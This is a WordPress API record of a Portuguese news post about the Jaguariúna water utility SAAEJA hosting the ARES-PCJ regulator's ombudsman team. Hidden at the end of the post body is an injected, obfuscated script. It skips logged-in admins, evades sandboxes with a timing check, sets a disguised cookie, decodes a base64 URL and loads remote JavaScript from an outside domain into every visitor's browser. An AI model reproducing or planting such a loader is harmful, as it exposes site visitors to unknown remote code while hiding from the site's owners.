{"id":2645,"date":"2026-04-02T23:57:48","date_gmt":"2026-04-03T02:57:48","guid":{"rendered":"https:\/\/saaeja.com.br\/?p=2645"},"modified":"2026-04-19T00:29:13","modified_gmt":"2026-04-19T03:29:13","slug":"saaeja-recebe-ouvidoria-da-ares-pcj-e-reforca-compromisso-com-a-transparencia-e-o-atendimento-a-populacao","status":"publish","type":"post","link":"https:\/\/saaeja.com.br\/?p=2645","title":{"rendered":"SAAEJA recebe Ouvidoria da ARES-PCJ e refor\u00e7a compromisso com a transpar\u00eancia e o atendimento \u00e0 popula\u00e7\u00e3o"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large is-resized\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/saaeja.com.br\/wp-content\/uploads\/2026\/04\/whatsapp-image-2026-04-02-at-23.54.25-1024x768.jpeg\" alt=\"\" class=\"wp-image-2646\" style=\"width:596px;height:auto\" srcset=\"https:\/\/saaeja.com.br\/wp-content\/uploads\/2026\/04\/whatsapp-image-2026-04-02-at-23.54.25-1024x768.jpeg 1024w, https:\/\/saaeja.com.br\/wp-content\/uploads\/2026\/04\/whatsapp-image-2026-04-02-at-23.54.25-300x225.jpeg 300w, https:\/\/saaeja.com.br\/wp-content\/uploads\/2026\/04\/whatsapp-image-2026-04-02-at-23.54.25-768x576.jpeg 768w, https:\/\/saaeja.com.br\/wp-content\/uploads\/2026\/04\/whatsapp-image-2026-04-02-at-23.54.25-1536x1152.jpeg 1536w, https:\/\/saaeja.com.br\/wp-content\/uploads\/2026\/04\/whatsapp-image-2026-04-02-at-23.54.25.jpeg 1600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>O Servi\u00e7o Aut\u00f4nomo de \u00c1gua e Esgoto de Jaguari\u00fana (SAAEJA) recebeu, nesta ter\u00e7a-feira (31), a equipe da Ouvidoria da Ag\u00eancia Reguladora dos Servi\u00e7os de Saneamento das Bacias dos Rios Piracicaba, Capivari e Jundia\u00ed (ARES-PCJ) para uma agenda institucional voltada ao fortalecimento do atendimento ao usu\u00e1rio e \u00e0 transpar\u00eancia na presta\u00e7\u00e3o dos servi\u00e7os de saneamento b\u00e1sico no munic\u00edpio.<\/p>\n\n\n\n<p>A iniciativa teve como principal objetivo aproximar a Ag\u00eancia Reguladora da popula\u00e7\u00e3o, proporcionando um espa\u00e7o para orienta\u00e7\u00f5es, esclarecimento de d\u00favidas e registro de demandas relacionadas aos servi\u00e7os de abastecimento de \u00e1gua e esgotamento sanit\u00e1rio. A presen\u00e7a da Ouvidoria refor\u00e7a seu papel como canal essencial de di\u00e1logo entre os usu\u00e1rios, o prestador de servi\u00e7os e o \u00f3rg\u00e3o regulador.<\/p>\n\n\n\n<p>Durante a visita, tamb\u00e9m foram discutidas a\u00e7\u00f5es e estrat\u00e9gias para o aprimoramento dos fluxos de atendimento, com foco na agilidade, efici\u00eancia e qualidade na resposta \u00e0s solicita\u00e7\u00f5es dos mun\u00edcipes.<\/p>\n\n\n\n<p>A atividade evidencia o compromisso conjunto entre o SAAEJA e a ARES-PCJ com a melhoria cont\u00ednua dos servi\u00e7os, a escuta ativa da popula\u00e7\u00e3o e a promo\u00e7\u00e3o de um saneamento cada vez mais eficiente e transparente em Jaguari\u00fana.<\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>O Servi\u00e7o Aut\u00f4nomo de \u00c1gua e Esgoto de Jaguari\u00fana (SAAEJA) recebeu, nesta ter\u00e7a-feira (31), a equipe da Ouvidoria da Ag\u00eancia Reguladora dos Servi\u00e7os de Saneamento das Bacias dos Rios Piracicaba, Capivari e Jundia\u00ed (ARES-PCJ) para uma agenda institucional voltada ao fortalecimento do atendimento ao usu\u00e1rio e \u00e0 transpar\u00eancia na presta\u00e7\u00e3o dos servi\u00e7os de saneamento b\u00e1sico no munic\u00edpio. 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